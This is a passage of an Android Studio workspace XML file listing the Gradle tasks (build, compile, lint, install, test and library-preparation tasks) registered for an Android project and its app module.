/> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="deviceCheck" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAndroidTestAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAndroidTestBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAndroidTestResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAndroidTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateDebugSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateReleaseAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateReleaseBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateReleaseResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="generateReleaseSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="incrementalDebugAndroidTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="incrementalDebugJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="incrementalDebugUnitTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="incrementalReleaseJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="incrementalReleaseUnitTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="installDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs the android (on device) tests for the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="installDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="jarDebugClasses" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="jarReleaseClasses" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on all variants." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="lint" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="lintDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="lintRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs lint on just the fatal issues in the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="lintVitalRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugAndroidTestAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugAndroidTestJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugAndroidTestShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeDebugShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeReleaseAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeReleaseJniLibFolders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mergeReleaseShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Creates a version of android.jar that's suitable for unit tests." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="mockableAndroidJar" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="packageDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="packageDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="packageRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preDebugAndroidTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preDebugBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preDebugUnitTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prePackageMarkerForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prePackageMarkerForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prePackageMarkerForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preReleaseBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="preReleaseUnitTestBuild" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:animated-vector-drawable:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportAnimatedVectorDrawable2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:appcompat-v7:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportAppcompatV72330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:cardview-v7:23.1.1" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportCardviewV72311Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:design:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportDesign2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:recyclerview-v7:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportRecyclerviewV72330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:support-v4:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportSupportV42330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.android.support:support-vector-drawable:23.3.0" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComAndroidSupportSupportVectorDrawable2330Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.github.afollestad.material-dialogs:core:0.8.5.8" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComGithubAfollestadMaterialDialogsCore0858Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.github.rey5137:material:1.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComGithubRey5137Material122Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconify222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify-fontawesome:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconifyFontawesome222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare com.joanzapata.iconify:android-iconify-ionicons:2.2.2" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareComJoanzapataIconifyAndroidIconifyIonicons222Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareDebugAndroidTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareDebugDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareDebugUnitTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prepare me.zhanghai.android.materialprogressbar:library:1.1.5" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareMeZhanghaiAndroidMaterialprogressbarLibrary115Library" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareReleaseDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="prepareReleaseUnitTestDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugAndroidTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugAndroidTestManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processDebugUnitTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processReleaseJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processReleaseManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="processReleaseUnitTestJavaRes" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the signing info for each variant." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="signingReport" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Prints out all the source sets defined in this project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="sourceSets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for all variants." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="test" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for the debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="testDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Run unit tests for the release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="testReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformClassesWithDexForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformClassesWithDexForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformClassesWithDexForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformNative_libsWithMergeJniLibsForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformNative_libsWithMergeJniLibsForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformNative_libsWithMergeJniLibsForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformResourcesWithMergeJavaResForDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformResourcesWithMergeJavaResForDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformResourcesWithMergeJavaResForDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformResourcesWithMergeJavaResForRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="transformResourcesWithMergeJavaResForReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstall all applications." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="uninstallAll" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="uninstallDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the android (on device) tests for the Debug build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="uninstallDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Uninstalls the Release build." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="uninstallRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="validateDebugSigning" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$" /> <option name="name" value="zipalignDebug" /> </ExternalTaskPojo> </list> </value> </entry> <entry key="$PROJECT_DIR$/app"> <value> <list> <ExternalTaskPojo> <option name="description" value="Displays the Android dependencies of the project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="androidDependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all variants of all applications and secondary packages." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assemble" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all the Test applications." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all Debug builds." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleDebug" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleDebugUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles all Release builds." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleRelease" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="assembleReleaseUnitTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="build" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project and all projects that depend on it." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="buildDependents" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays all buildscript dependencies declared in project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="buildEnvironment" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Assembles and tests this project and all projects it depends on." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="buildNeeded" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all checks." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="check" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="checkDebugManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="checkReleaseManifest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Deletes the build directory." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="clean" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugAndroidTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugUnitTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileDebugUnitTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileLint" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseAidl" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseNdk" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseRenderscript" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseShaders" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseUnitTestJavaWithJavac" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="compileReleaseUnitTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the components produced by project ':app'. [incubating]" /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="components" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs instrumentation tests for all flavors on connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="connectedAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all device checks on currently connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="connectedCheck" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs the tests for debug on connected devices." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="connectedDebugAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays all dependencies declared in project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="dependencies" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays the insight into a specific dependency in project ':app'." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="dependencyInsight" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Installs and runs instrumentation tests using all Device Providers." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="deviceAndroidTest" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Runs all device checks using Device Providers and Test Servers." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="deviceCheck" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAndroidTestAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAndroidTestBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAndroidTestResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAndroidTestResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAndroidTestSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateDebugSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateReleaseAssets" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateReleaseBuildConfig" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateReleaseResValues" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateReleaseResources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="generateReleaseSources" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="description" value="Displays a help message." /> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="help" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="incrementalDebugAndroidTestJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" value="incrementalDebugJavaCompilationSafeguard" /> </ExternalTaskPojo> <ExternalTaskPojo> <option name="linkedExternalProjectPath" value="$PROJECT_DIR$/app" /> <option name="name" 